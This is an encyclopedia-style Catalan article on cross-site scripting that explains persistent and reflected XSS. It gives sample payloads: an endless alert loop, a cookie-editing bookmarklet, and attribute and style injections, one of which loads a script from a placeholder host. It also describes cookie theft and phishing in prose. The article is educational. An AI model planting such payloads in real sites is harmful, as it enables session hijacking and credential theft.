Cross Site Scripting

XSS, de l'anglès Cross-site scripting és un tipus de vulnerabilitat informàtica o forat de seguretat basat en l'explotació de vulnerabilitats del sistema de validació del HTML incrustat.

Introducció modifica

El seu nom original és Cross Site Scripting, i s'abrevia com XSS per no ser confós amb les sigles CSS, (fulls d'estil en cascada). Les vulnerabilitats de XSS originalment s'estenen qualsevol atac que permeti executar codi de scripting, com VBScript o JavaScript, en el context d'algun altre lloc web (recentment això es podria classificar més correctament com a «diferents orígens»).[Cal aclariment] Aquests errors es poden trobar en qualsevol aplicació que tingui com a objectiu final presentar la informació en un navegador web. No es limita a llocs web, ja que pot haver-hi aplicacions locals vulnerables a XSS, o inclús el navegador en si mateix. El problema està en el fet que casualment no es validen correctament les dades d'entrada que són utilitzats en determinada aplicació. Aquesta vulnerabilitat pot estar present de forma directa (també anomenada persistent) o indirecta (també anomenada reflectida).

  • Directa (Persistent): aquest tipus de XSS comunament filtrat, i que consisteix a introduir codi HTML perillós en llocs que ho permetin; incloent-hi així etiquetes com <script> o <iframe>.
  • Indirecta (Reflectida): aquest tipus de XSS consisteix a modificar valors que l'aplicació web utilitza per passar variables entre dues pàgines, sense utilitzar sessions i es dona lloc quan hi ha un missatge o ruta en l'URL del navegador, en una cookie, o qualsevol altra capçalera HTTP (en alguns navegadors i aplicacions web, això podria estendre's al DOM del navegador).

XSS Indirecte (reflectit) modifica

Suposem que un lloc web té la següent URL:

http://www.example.com/home.asp?frame=menu.asp[Enllaç no actiu]

i que en accedir es crearà un document HTML enllaçant amb un frame a menu.asp. En aquest exemple, que passaria si es posa com URL del frame un codi javascript? (Atenció, no ho poseu vosaltres al vostre propi navegador!).

 javascript:while(1)alert("Aquest missatge sortirà indefinidament en bucle");

Si aquest enllaç el posa un atacant cap a una víctima, el visitant podrà veure'l i veurà que és del mateix domini, suposant que no pot ser dolent i de resultat tindrà un bucle infinit de missatges. Un atacant en realitat intentaria de col·locar un script que s'emporti les cookies de la víctima, per a després poder personificar-se com amb la seva sessió, o fer automàtic el procés amb la utilització de la biblioteca cURL o alguna similar. D'aquesta forma, en rebre la cookie, l'atacant podria executar accions amb els permisos de la víctima sense necessitar tan sols la seva contrasenya. Un altre ús comú per aquestes vulnerabilitats és aconseguir fer phishing. Vol dir que la víctima veu en la barra de direccions una web, però realment està en una altra. La víctima introdueix la seva contrasenya i s'envia a l'atacant. Una pàgina com la següent:

 error.php?error=Usuari%20Invalid

és probablement vulnerable a XSS indirecte, ja que si escriu el document "Usuari invàlid", això significa que un atacant podria inserir HTML i JavaScript si així ho desitja. Per exemple, un tag com <script> que executi codi javascript, que creï una sessió com un altre usuari i enviï la sessió actual a l'atacant. Per provar vulnerabilitats de XSS en cookies es pot modificar el contingut d'una cookie de forma senzilla, utilitzant el següent script. Tan sols s'ha de col·locar a la barra de direccions i prémer 'Enter'.

javascript:void prompt("Introdueix la
cookie:",document.cookie).replace(/[^;]+/g,function(_){document.cookie=_;});

XSS Directe (persistent) modifica

Funciona localitzant punts dèbils en la programació dels filtres de HTML, si és que existeixen, per a publicar contingut (com blogs, fòrums, etc.). Normalment l'atacant intentarà inserir tags com <iframe>, o <script>, però en cas de fallar, l'atacant pot intentar posar tags que gairebé sempre estan permesos i és poc coneguda la seva capacitat d'executar codi. D'aquesta forma l'atacant podria executar codi viral. Exemples: Una possibilitat és d'utilitzar atributs que permetin executar codi.

<BR SIZE="&{alert('XSS')}">
<FK STYLE="behavior: url(http://yoursite/xss.htc);">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

També es pot crear un DIV amb background-image: url(javascript:eval(this.fu)) com estil i afegir al DIV un camp anomenat fu que contingui el codi a executar, per exemple:

<div fu="alert('Hola món');" STYLE="background-image: url(javascript:eval(this.fu))">

Referències modifica

Enllaços externs modifica